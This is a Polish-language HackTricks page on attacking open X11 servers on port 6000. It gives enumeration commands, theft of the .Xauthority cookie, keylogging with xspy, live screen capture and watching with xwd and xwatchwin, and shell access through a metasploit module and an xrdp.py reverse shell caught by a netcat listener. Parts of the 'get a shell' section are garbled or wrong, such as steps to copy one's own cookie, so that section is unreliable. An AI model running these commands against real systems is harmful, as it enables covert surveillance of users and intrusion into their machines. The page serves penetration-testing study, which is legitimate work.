hacktricks/network-services-pentesting/6000-pentesting-x11.md
2024-02-11 01:46:25 +00:00

12 KiB
Raw Blame History

6000 - Testowanie penetracyjne X11

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami nagród za błędy!

Spostrzeżenia dotyczące hakerstwa
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania hakerstwa

Aktualności na żywo o hakerstwie
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnym wiadomościom i spostrzeżeniom

Najnowsze ogłoszenia
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy

Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!

Podstawowe informacje

System okien X (X) to wszechstronny system okienkowy powszechnie stosowany w systemach operacyjnych opartych na UNIX. Zapewnia on framework do tworzenia graficznych interfejsów użytkownika (GUI), gdzie poszczególne programy zajmują się projektowaniem interfejsu użytkownika. Ta elastyczność pozwala na różnorodne i dostosowywalne doświadczenia w środowisku X.

Domyślny port: 6000

PORT       STATE   SERVICE
6000/tcp   open    X11

Wyliczanie

Sprawdź anonimowe połączenie:

nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11

Lokalne wyliczenie

Plik .Xauthority w folderze domowym użytkownika jest używany przez X11 do autoryzacji. Z tutaj:

$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d  ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d  IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58  1...R.~..A.....X
00000030: 041d ef                                  ...

MIT-magic-cookie-1: Generowanie 128-bitowego klucza ("cookie"), przechowywanie go w ~/.Xauthority (lub tam, gdzie wskazuje zmienna środowiskowa XAUTHORITY). Klient wysyła go do serwera w postaci zwykłego tekstu! Serwer sprawdza, czy ma kopię tego "cookie" i jeśli tak, połączenie jest zezwolone. Klucz jest generowany przez DMX.

{% hint style="warning" %} Aby używać cookie, należy ustawić zmienną środowiskową: export XAUTHORITY=/ścieżka/do/.Xauthority {% endhint %}

Sesja lokalnego wyliczania

$ w
23:50:48 up 1 day, 10:32,  1 user,  load average: 0.29, 6.48, 7.12
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
user     tty7     :0               13Oct23 76days 13:37   2.20s xfce4-session

Weryfikacja połączenia

W przykładzie, localhost:0 uruchamiał sesję xfce4.

Sprawdzenie połączenia

xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0

Keyloggin

xspy do przechwytywania naciśnięć klawiszy na klawiaturze.

Przykładowy wynik:

xspy 10.9.xx.xx

opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab

Przechwytywanie zrzutów ekranu

Podczas testowania penetracyjnego X11, przechwytywanie zrzutów ekranu może być przydatne do uzyskania wglądu w aktywność użytkownika na zdalnym systemie. Istnieją różne narzędzia, które można wykorzystać do przechwytywania zrzutów ekranu w środowisku X11.

Narzędzia do przechwytywania zrzutów ekranu

  1. xwd: Narzędzie wiersza poleceń, które pozwala na przechwytywanie zrzutów ekranu w formacie XWD (X Window Dump). Można je uruchomić za pomocą polecenia xwd -root -out screenshot.xwd, gdzie screenshot.xwd to nazwa pliku, do którego zostanie zapisany zrzut ekranu.

  2. scrot: Proste narzędzie do przechwytywania zrzutów ekranu w środowisku X11. Można je zainstalować za pomocą polecenia sudo apt-get install scrot. Aby przechwycić zrzut ekranu, wystarczy uruchomić polecenie scrot screenshot.png, gdzie screenshot.png to nazwa pliku, do którego zostanie zapisany zrzut ekranu.

  3. import: Narzędzie z pakietu ImageMagick, które umożliwia przechwytywanie zrzutów ekranu w formacie PNG, JPEG, GIF itp. Można je uruchomić za pomocą polecenia import screenshot.png, gdzie screenshot.png to nazwa pliku, do którego zostanie zapisany zrzut ekranu.

Przechwytywanie zrzutów ekranu zdalnego systemu

Aby przechwycić zrzut ekranu zdalnego systemu, należy najpierw nawiązać połączenie z tym systemem za pomocą narzędzi takich jak ssh lub VNC. Następnie można użyć powyższych narzędzi do przechwycenia zrzutu ekranu na zdalnym systemie i przesłać go na lokalny system za pomocą narzędzi do transferu plików, takich jak scp.

Przechwytywanie zrzutów ekranu może być przydatne podczas testowania penetracyjnego, aby uzyskać wgląd w aktywność użytkownika, identyfikować potencjalne luki w zabezpieczeniach i zbierać informacje potrzebne do dalszej analizy.

xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png

Widok zdalnego pulpitu

Źródło: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

./xrdp.py <IP:0>

Sposób od: https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html

Najpierw musimy znaleźć ID okna za pomocą xwininfo

xwininfo -root -display 10.9.xx.xx:0

xwininfo: Window id: 0x45 (the root window) (has no name)

Absolute upper-left X:  0
Absolute upper-left Y:  0
Relative upper-left X:  0
Relative upper-left Y:  0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners:  +0+0  -0+0  -0-0  +0-0
-geometry 1024x768+0+0

XWatchwin

Aby na żywo oglądać, musimy użyć

./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45

Uzyskaj dostęp do powłoki

Aby uzyskać dostęp do powłoki systemu, możesz wykorzystać kilka technik:

1. Wykorzystanie słabych uprawnień X11

Jeśli serwer X11 jest uruchomiony na docelowym systemie, możesz spróbować wykorzystać słabe uprawnienia, aby uzyskać dostęp do powłoki. Możesz to zrobić, wykonując następujące kroki:

  1. Sprawdź, czy serwer X11 jest uruchomiony, używając polecenia ps aux | grep Xorg.
  2. Sprawdź, czy istnieje plik .Xauthority w katalogu domowym użytkownika, używając polecenia ls -la ~.
  3. Skopiuj plik .Xauthority do swojego katalogu domowego, używając polecenia cp ~/.Xauthority ~/xauthority.
  4. Ustaw zmienną środowiskową XAUTHORITY na ścieżkę do skopiowanego pliku .Xauthority, używając polecenia export XAUTHORITY=~/xauthority.
  5. Uruchom dowolne polecenie X11, na przykład xterm, aby uzyskać dostęp do powłoki.

2. Wykorzystanie podatności w aplikacjach X11

Jeśli znasz konkretne podatności w aplikacjach X11, możesz je wykorzystać, aby uzyskać dostęp do powłoki. Możesz to zrobić, wykonując następujące kroki:

  1. Zidentyfikuj podatne aplikacje X11, które są uruchomione na docelowym systemie.
  2. Wykorzystaj znane podatności w tych aplikacjach, aby zdobyć dostęp do powłoki.

3. Wykorzystanie ataku Man-in-the-Middle (MitM)

Jeśli jesteś w stanie przeprowadzić atak Man-in-the-Middle (MitM) na komunikację X11, możesz przechwycić dane uwierzytelniające i uzyskać dostęp do powłoki. Możesz to zrobić, wykonując następujące kroki:

  1. Przechwyć komunikację X11 między klientem a serwerem.
  2. Zidentyfikuj dane uwierzytelniające, takie jak hasła, przesyłane w tej komunikacji.
  3. Użyj zdobytych danych uwierzytelniających, aby uzyskać dostęp do powłoki.

Pamiętaj, że wszelkie próby uzyskania dostępu do powłoki systemu muszą być przeprowadzane zgodnie z prawem i tylko w celach pentestingu.

msf> use exploit/unix/x11/x11_keyboard_exec

Inny sposób:

Odwrócona powłoka (Reverse Shell): Xrdp umożliwia również uzyskanie odwróconej powłoki za pomocą Netcat. Wpisz następujące polecenie:

./xrdp.py \<IP:0> no-disp

W interfejsie możesz zobaczyć opcję R-shell.

Następnie uruchom nasłuchiwanie Netcat na swoim lokalnym systemie na porcie 5555.

nc -lvp 5555

Następnie wpisz swój adres IP i port w opcji R-Shell i kliknij R-shell, aby uzyskać powłokę

Odwołania

Shodan

  • port:6000 x11

Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami błędów!

Wnioski z Hackingu
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania związane z hakowaniem

Aktualności na żywo z Hackingu
Bądź na bieżąco z szybkim tempem świata hakowania dzięki aktualnym wiadomościom i spostrzeżeniom

Najnowsze ogłoszenia
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy

Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: